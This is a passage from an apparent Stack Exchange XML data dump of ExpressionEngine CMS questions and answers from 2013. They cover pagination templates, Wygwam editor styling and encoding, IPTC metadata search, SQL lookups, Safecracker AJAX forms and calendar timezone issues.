&amp;amp;#1082;&amp;amp;#1083;&amp;amp;#1091;&amp;amp;#1073;!&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see the same while viewing source code on the website :(&lt;/p&gt;&#xA;" OwnerUserId="926" LastActivityDate="2013-08-03T12:20:24.650" Title="WYGWAM Cyrillic" Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12434" PostTypeId="1" AcceptedAnswerId="12438" CreationDate="2013-08-02T13:39:49.817" Score="0" ViewCount="165" Body="&lt;p&gt;I am having and issue with pagination.  I have 8 entries and displaying 4 per page.  Because of the layout I cannot include the pagination in the first channel entries tag that displays the entries so I need to add a second channel entries tag just for the pagination.  Problem is when I click the next page and display the next 4 entries I still get the same first 4 entries.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;blog&quot;&amp;gt;&#xA;        &amp;lt;h4 class=&quot;heading colr&quot;&amp;gt;Messages&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;messages&quot; limit=&quot;4&quot; dynamic=&quot;yes&quot; disable=&quot;categories|member_data|category_fields&quot;}&#xA;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;p class=&quot;date&quot;&amp;gt;{entry_date format=&quot;%M&quot;}&amp;lt;br /&amp;gt;{entry_date format=&quot;%d&quot;}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;h2 class=&quot;colr&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;cont&quot;&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;blog_links&quot;&amp;gt;&#xA;&#xA;                    &amp;lt;p class=&quot;postedby&quot;&amp;gt;Speaker: {speaker}&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/div&amp;gt; &#xA;            &amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;                     &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&#xA;{exp:channel:entries channel=&quot;messages&quot; limit=&quot;4&quot; disable=&quot;categories|member_data|category_fields&quot; paginate=&quot;bottom&quot;}&#xA;    {paginate}&#xA;        {pagination_links}&#xA;    &amp;lt;ul&amp;gt;&#xA;            {first_page}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;First Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/first_page}&#xA;&#xA;            {previous_page}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;&amp;lt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/previous_page}&#xA;&#xA;            {page}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/page}&#xA;&#xA;            {next_page}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/next_page}&#xA;&#xA;            {last_page}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;Last Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/last_page}&#xA;    &amp;lt;/ul&amp;gt;&#xA;        {/pagination_links}&#xA;    {/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastEditorUserId="425" LastEditDate="2013-08-02T14:51:42.393" LastActivityDate="2013-08-02T14:51:42.393" Title="paginate not displaying next enties" Tags="|pagination|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12435" PostTypeId="1" AcceptedAnswerId="12440" CreationDate="2013-08-02T13:49:44.837" Score="0" ViewCount="126" Body="&lt;p&gt;I have a bit of a tricky one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A client of mine wants the IPTC keywords data within files to be searchable through the default EE simple search (or at least via a db query).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have searched around and can't find anything that offers this, with channel images coming the closest, but it doesn't appear its possible to search the IPTC data, only display it in templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I could run an extension after each file upload is complete? I could then build an extension which uses PHPs IPTC extraction and enter it in a database table. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has any ideas on this, I would be greatful to know, as I am slightly surprised this doesn't come up more often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2013-08-05T19:59:20.323" Title="Run extension after file upload? Need to extract IPTC data" Tags="|file-uploads|file-manager|channel-images|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12436" PostTypeId="2" ParentId="12432" CreationDate="2013-08-02T14:10:23.807" Score="1" Body="&lt;p&gt;Yep, that's normal and correct, relating to how CKEditor (used as the backbone for Wygwam) handles the content and seems to store it in its character encoding, but items like text fields store it in the native (as is) format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it an issue if the visual result is correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These solutions may help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/4510434/data-in-db-is-in-wrong-encoding-using-ckeditor-and-greek&quot;&gt;https://stackoverflow.com/questions/4510434/data-in-db-is-in-wrong-encoding-using-ckeditor-and-greek&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.pivotx.net/viewtopic.php?f=17&amp;amp;t=3267&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://forum.pivotx.net/viewtopic.php?f=17&amp;amp;t=3267&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-08-02T14:10:23.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12437" PostTypeId="1" AcceptedAnswerId="12439" CreationDate="2013-08-02T14:12:30.443" Score="0" ViewCount="98" Body="&lt;p&gt;I have custom channel named &lt;code&gt;foo&lt;/code&gt; that is connected to the the members via safecracker and safecracker registration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a hook I am making, the member_id of a person is available to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way using SQL to get the entry_id in &lt;code&gt;channel_data&lt;/code&gt; table based on the member_id that I have?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-08-02T14:31:10.167" Title="SQL to get entry_id in exp_channel_data based on member_id" Tags="|safecracker|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12438" PostTypeId="2" ParentId="12434" CreationDate="2013-08-02T14:24:35.007" Score="0" Body="&lt;p&gt;Won't work because the channel:entries tag relies on the paginate parameter. If you don't include it EE won't read the pagination segment in the URL, so won't know you're on the second page of a paginated list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the issue is your markup and you only want to close the list markup before you open the pagination elements markup, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;blog&quot;&amp;gt;&#xA;  &amp;lt;h4 class=&quot;heading colr&quot;&amp;gt;Messages&amp;lt;/h4&amp;gt;&#xA;  &amp;lt;ul&amp;gt;&#xA;    {exp:channel:entries channel=&quot;messages&quot; limit=&quot;4&quot; dynamic=&quot;yes&quot; paginate=&quot;bottom&quot; disable=&quot;categories|member_data|category_fields&quot;}&#xA;&#xA;      &amp;lt;li&amp;gt;&#xA;        &amp;lt;p class=&quot;date&quot;&amp;gt;{entry_date format=&quot;%M&quot;}&amp;lt;br /&amp;gt;{entry_date format=&quot;%d&quot;}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;h2 class=&quot;colr&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;cont&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;blog_links&quot;&amp;gt;&#xA;            &amp;lt;p class=&quot;postedby&quot;&amp;gt;Speaker: {speaker}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &#xA;      &amp;lt;/li&amp;gt;&#xA;    {if count == total_results}&#xA;  &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;{paginate}&#xA;  {pagination_links}&#xA;  &amp;lt;ul&amp;gt;&#xA;    {first_page}&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;First Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/first_page}&#xA;    {previous_page}&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;&amp;lt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/previous_page}&#xA;    {page}&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} {if current_page}active{/if}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/page}&#xA;    {next_page}&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/next_page}&#xA;    {last_page}&#xA;      &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;Last Page&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/last_page}&#xA;  &amp;lt;/ul&amp;gt;&#xA;  {/pagination_links}&#xA;{/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count == total_results}&#xA;    &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-08-02T14:24:35.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12439" PostTypeId="2" ParentId="12437" CreationDate="2013-08-02T14:31:10.167" Score="2" Body="&lt;pre&gt;&lt;code&gt;SELECT ct.entry_id &#xA;FROM exp_channel_titles AS ct&#xA;LEFT JOIN exp_channel_data cd ON ct.entry_id = cd.entry_id &#xA;WHERE ct.author_id = $member_id&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Although you've requested the entry_id in your question, you don't actually need to include channel_data, as it's in channel_titles. But I've included above in case you want to pull all the entry data (so change &lt;code&gt;SELECT ct.entry_id&lt;/code&gt; to &lt;code&gt;SELECT *&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$member_id in the above would be variable you're searching on.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-08-02T14:31:10.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12440" PostTypeId="2" ParentId="12435" CreationDate="2013-08-02T14:40:55.660" Score="1" Body="&lt;p&gt;The problem is that File Manager isn't associated with search which only relates to entries, so when you add an image to an entry, only the URL is stored with the entry, therefore only the URL is included in the searching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The simplest solution would be to use a &lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow noreferrer&quot;&gt;matrix&lt;/a&gt; field for your file uploads and include a column for the IPTC keywords to be added manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in the below grab I use matrix to store information relevant to an image (alt text, title, etc) and ensure that &quot;Is field searchable?&quot; and &quot;Is col searchable?&quot; are ticked...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o36FL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative is a big task! Search is performed by looking at the field_id_x columns in the channel_data table. So if you simply place the IPTC reference in there, it will conflict with the fieldtype or entry data (e.g. a wysiwyg field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you'd need an extension that fired when an entry was saved and used:&#xA;entry_submission_absolute_end and publish_form_entry_data to capture the save. You'd then need to parse this data for the relevant image paths, read the image data extracting the IPTC information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's the easy bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you'd need a custom lookup table in the database to store this information and reference the entry ID and URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But all this is still not going to associate with the search process in EE - and that's a problem as there's only the ability to change the search results (channel_entries_query_result hook), not change the SQL used to search on. So you then have to rebuild the exp:channel:entries tag pair to customise the SQL, run the search and then tap into the channel class and manually trigger the entries method to parse the parameters and output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you were to do your own sql query to do the search output, you'd still need to have saved the IPTC data and need to parse the data on output and process any parameters associated with the normal channel:entries tag pair. Although your custom SQL could output a list of entry_id's that you could then pass to the channel:entries tag to let it parse the output for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's no small effort, so paying a junior for data entry would look far more appealing :)&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-08-02T15:04:27.370" LastActivityDate="2013-08-02T15:04:27.370" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12441" PostTypeId="1" AcceptedAnswerId="12554" CreationDate="2013-08-02T14:54:47.117" Score="1" ViewCount="516" Body="&lt;p&gt;I have a super simple safecracker form in my header (embedded template). It's literally 1 field. I'm using the ajax example in the ee docs (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/safecracker/examples.html#ajax-driven-entry-form&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/safecracker/examples.html#ajax-driven-entry-form&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The form works everywhere except the home page. I get readyState: 4 which I read (&lt;a href=&quot;https://stackoverflow.com/questions/5852257/jquery-s-ajax-error-handler-being-executed-if-readystate-4-and-status-200&quot;&gt;https://stackoverflow.com/questions/5852257/jquery-s-ajax-error-handler-being-executed-if-readystate-4-and-status-200&lt;/a&gt;) means the returned json is malformed. It's true because the responseText is the code for the home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've changed &quot;Make the index template in this group your site's home page?&quot; to a different template group and then the original home page works and this new temp home page fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My safecracker opening:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker json=&quot;yes&quot; &#xA;channel=&quot;email_submission&quot; id=&quot;email-subscribe&quot; logged_out_member_id=&quot;2&quot; &#xA;datepicker=&quot;no&quot; include_jquery=&quot;no&quot; safecracker_head=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my js:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#email-subscribe').ajaxForm({&#xA;    dataType: 'json',&#xA;    success: function(data) {&#xA;        if (data.success) {&#xA;            alert('You successfully added a new entry with entry_id '+data.entry_id)&#xA;        } else {&#xA;            alert('Failed with the following errors: '+ JSON.stringify(data.errors));&#xA;        }&#xA;    },&#xA;    error: function(data) {&#xA;        // this is what's coming up&#xA;        alert('Failed with the following errors: '+ JSON.stringify(data));&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered anything like this before? Any suggestions? I feel like I'm taking crazy pills.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Amanda&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-09-06T15:34:39.950" Title="safecracker + ajax = readyState: 4 on home page" Tags="|safecracker|ajax|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12443" PostTypeId="1" CreationDate="2013-08-02T15:49:14.993" Score="0" ViewCount="24" Body="&lt;p&gt;I am upgrading a 1.7 site that used Mark Huot's MultiText field extensively.  I'm trying to identify a similar solution for 2.6.1.  (The multitext fields were used to provide captions for images in the 1.7 version of the site.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It appears that the Matrix plug in is the best option.  However, the data format of these two plugins is different.  I have a lot of data formatted as MultiText.  Is there any way to convert the data to Matrix data format?&lt;/p&gt;&#xA;" OwnerUserId="1470" LastEditorUserId="1470" LastEditDate="2013-08-03T15:30:20.203" LastActivityDate="2013-08-03T15:30:20.203" Title="Replacement for multitext" Tags="|plugin|upgrade|ee2-upgrades|field-conversion|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12444" PostTypeId="1" CreationDate="2013-08-02T15:57:52.393" Score="0" ViewCount="254" Body="&lt;p&gt;This thing drives me nuts. There is no reason this thing should be so small. I'd love to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make it larger, both vertically and horizontally; and&lt;/li&gt;&#xA;&lt;li&gt;Style the text inside. I don't necessarily want it to adopt the style of the element it creates, either.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Are these options I have any control over?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zwaaa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="436" LastActivityDate="2013-08-02T16:25:39.620" Title="Manipulating the Style menu in WYGWAM?" Tags="|wygwam|config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12445" PostTypeId="1" CreationDate="2013-08-02T15:59:10.797" Score="0" ViewCount="124" Body="&lt;p&gt;Please can anyone help, my EE Store is working fine and is sending the correct details to PayPal Express, however, is there any way I can send item descriptions too? At the moment, the PayPal descriptions area remains blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mike&lt;/p&gt;&#xA;" OwnerUserId="1259" LastEditorUserId="115" LastEditDate="2013-08-06T00:04:32.680" LastActivityDate="2013-08-06T12:33:02.610" Title="How do I send item descriptions from Store to PayPal Express?" Tags="|expresso-store|paypal|payment-gateway|paypal-express-checkout|" AnswerCount="1" CommentCount="0" ClosedDate="2013-08-26T16:56:36.413" ContentLicense="CC BY-SA 3.0" />
  <row Id="12446" PostTypeId="2" ParentId="12444" CreationDate="2013-08-02T16:20:14.873" Score="1" Body="&lt;p&gt;Go to Add-ons -&gt; Fieldtypes and select Wygwam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit the relevant Editor configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter a CSS file you want to use in the &quot;CSS File&quot; field I use a template so enter: &lt;code&gt;/css-javascript/css-wygwam&lt;/code&gt; (template group/template name format), but you can use any frontend URL.  This controls the styling inside the Wygwam Text field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next add an advanced setting called &lt;code&gt;stylesSet&lt;/code&gt; and enter the style reference and url to your JS file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mystyles:/themes/site_themes/mysite/js/js-wygwam.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You used to be able to reference a template in this URL, but I think that stopped working with a newer version (could be wrong!). Note the style reference &quot;mystyles&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example JS file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CKEDITOR.addStylesSet('mystyles',[&#xA;    {name:'Content text', element:'p'},&#xA;    {name:'Leadin text', element:'p', attributes: { 'class': 'leadin' }},&#xA;    {name:'Head2', element:'h2'},&#xA;    {name:'Head2+border', element:'h2', attributes: { 'class': 'line' }},&#xA;    {name:'Head3', element:'h3'},&#xA;    {name:'Read More', element:'a', attributes: { 'class': 'showtext' }},&#xA;    {name:'More Text', element:'div', attributes: { 'class': 'moretext' }}&#xA;]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note the same style reference &quot;mystyles&quot;.  This builds the dropdown menu in Wygwam.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your styles will be reflected in the menu as well as the text area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cshn1.png&quot; alt=&quot;Grab of wygwam customised style dropdown&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your CSS file is loaded in the head of the CKEditor iframe, so you can manipulate the dropdown separately:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.cke_panel_list li a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it's difficult to target each individual style as they're referenced as #cke_xxx, although once you've built the dropdown and the styles you want, you can specify these unique references in the CSS file.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-08-02T16:25:39.620" LastActivityDate="2013-08-02T16:25:39.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12447" PostTypeId="2" ParentId="12443" CreationDate="2013-08-02T16:36:45.427" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow noreferrer&quot;&gt;Matrix&lt;/a&gt; is perfect for your needs, and was available for EE1 too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PWCnN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-08-02T16:36:45.427" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12448" PostTypeId="1" CreationDate="2013-08-02T16:49:11.977" Score="1" ViewCount="57" Body="&lt;p&gt;We have an issue where an incomplete transaction is showing up on VZ Buyers like the person bought the items.  However the transaction was incomplete and the transaction failed so it was not taken out of stock but it's still listed.  Does anyone have a fix for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our system has to be very precise with us selling 100 items at a time can't have room for buyer error by any means.  Any help would be greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="1691" LastEditorUserId="425" LastEditDate="2013-08-02T16:55:00.477" LastActivityDate="2013-11-01T22:40:39.840" Title="VZ Buyers Incomplete Issue" Tags="|expresso-store|vz-buyers|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12449" PostTypeId="1" CreationDate="2013-08-02T17:03:39.280" Score="1" ViewCount="102" Body="&lt;p&gt;Is there anyway to stop Wygwam from pasting empty paragraphs when i paste text into it ? It got the latest version 3.02&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the &quot;ignoreEmptyParagraph&quot; thing turned on and still not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks fro the help&lt;/p&gt;&#xA;" OwnerUserId="1846" LastActivityDate="2013-10-21T05:01:40.507" Title="Wygwam - Empty Paragraphs" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12450" PostTypeId="1" AcceptedAnswerId="18194" CreationDate="2013-08-02T19:14:09.967" Score="1" ViewCount="46" Body="&lt;p&gt;I've got a channel of events. The main exp:channel:calendar tag displays the entry on the appropriate grid day. When I follow to the date's detail template (/calendar/2013/11/22) the entry that was previously in the grid does not show, and instead shows on the next day (/calendar/2013/11/23). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only happens if the entry's date/time is posted between 11:00pm and 11:59pm. If I change it to 10:59pm it posts on the correct day just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it sounds like a DST type issue. It also could be a server offset issue. I'm still looking into it, but would appreciate any feedback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2014-01-08T15:55:45.143" Title="Calendar Entries posted between 11:00pm and 11:59pm show on next day's" Tags="|calendar|dst|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12451" PostTypeId="1" CreationDate="2013-08-02T19:54:23.763" Score="1" ViewCount="420" Body="&lt;p&gt;How can I output the entry_ids for multiple channels within a category loop organized by channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 channels that share a category group so I need to loop through the categories and list out all entry ids but organized by their channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The info needs to be like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category 1 title&#xA;  - channel 1 (entry id 1, entry id 2, etc)&#xA;  - channel 2 (entry id 1, entry id 2, etc)&#xA;  - channel 3 (entry id 1, entry id 2, etc)&#xA;&#xA;category 2 title&#xA;  - channel 1 (entry id 1, entry id 2, etc)&#xA;  - channel 2 (entry id 1, entry id 2, etc)&#xA;  - channel 3 (entry id 1, entry id 2, etc)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-08-02T21:50:26.127" Title="Output entry info for multiple channels in category loop" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12452" PostTypeId="1" AcceptedAnswerId="12461" CreationDate="2013-08-02T20:04:21.733" Score="1" ViewCount="131" Body="&lt;p&gt;Using, for instance, {current_time} you get the time according to your server timezone setting. I see I can format it with {current_time format=&quot;{DATE_COOKIE}&quot;} to get a result in UTC, but I need it in another format than cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can write a plugin or some direct PHP to pull it out, but is there anything within what EE gives us to return the UTC time?&lt;/p&gt;&#xA;" OwnerUserId="1745" LastActivityDate="2013-08-05T14:43:45.367" Title="How can I return UTC time?" Tags="|datetime|timezone|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12453" PostTypeId="2" ParentId="12451" CreationDate="2013-08-02T21:50:26.127" Score="1" Body="&lt;pre&gt;&lt;code&gt;{exp:channel:categories}&#xA;   {category_name}&#xA;   {exp:channel:entries category=&quot;{category_id}&quot; channel=&quot;channel1&quot;}&#xA;      {if count == 1}{channel}{/if}&#xA;      {title}&#xA;   {/exp:channel:entries}&#xA;   {exp:channel:entries category=&quot;{category_id}&quot; channel=&quot;channel2&quot;}&#xA;      {if count == 1}{channel}{/if}&#xA;      {title}&#xA;   {/exp:channel:entries}&#xA;   {exp:channel:entries category=&quot;{category_id}&quot; channel=&quot;channel3&quot;}&#xA;      {if count == 1}{channel}{/if}&#xA;      {title}&#xA;   {/exp:channel:entries}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Beware performance issues if you have many categories and many entries!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other ways just for the sake of it...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories}&#xA;   {category_name}&#xA;   {exp:channel:entries category=&quot;{category_id}&quot; channel=&quot;channel1|channel2|channel3&quot;}&#xA;      {channel}&#xA;      {title}&#xA;   {/exp:channel:entries}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or reverse it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries category=&quot;1|2|3&quot; dynamic=&quot;no&quot;}&#xA;    {categories}category_name{/categories}&#xA;    {channel}&#xA;    {title}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-08-02T21:50:26.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
